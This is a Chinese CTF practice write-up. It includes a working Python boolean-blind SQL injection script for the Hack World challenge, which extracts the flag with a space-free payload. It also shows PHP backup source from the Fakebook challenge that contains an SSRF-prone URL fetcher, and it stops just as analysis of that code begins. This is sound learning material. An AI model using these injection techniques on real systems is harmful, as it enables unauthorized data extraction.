练习

[CISCN2019 华北赛区 Day2 Web1]Hack World

这里测试了一下是空格被过滤了

这里知道了flag是在flag表李的flag字段
所以可以直接写脚本来做

点击查看代码

import requests
import string

def bool(url):
    flag = ''
    strings = string.printable
    for num in range(1,60):
        for i in strings:
            payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
            post_data = {'id':payload}
            res = requests.post(url=url,data=post_data)
            if 'girlfriend' in res.text:
                flag += i
                print(flag)
            else:
                continue
        
if __name__ == '__main__':
    url = 'http://752ddc01-701f-4851-8901-4ea673778318.node5.buuoj.cn:81/index.php'
    bool(url)

就是这个运行速度有点感人不知道怎么可以慢成这样

[网鼎杯 2018]Fakebook

没有其它路可走
直接扫还有爆破

这里爆破出了个robots.txt

下载一下这个备份文件

点击查看代码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

先读下代码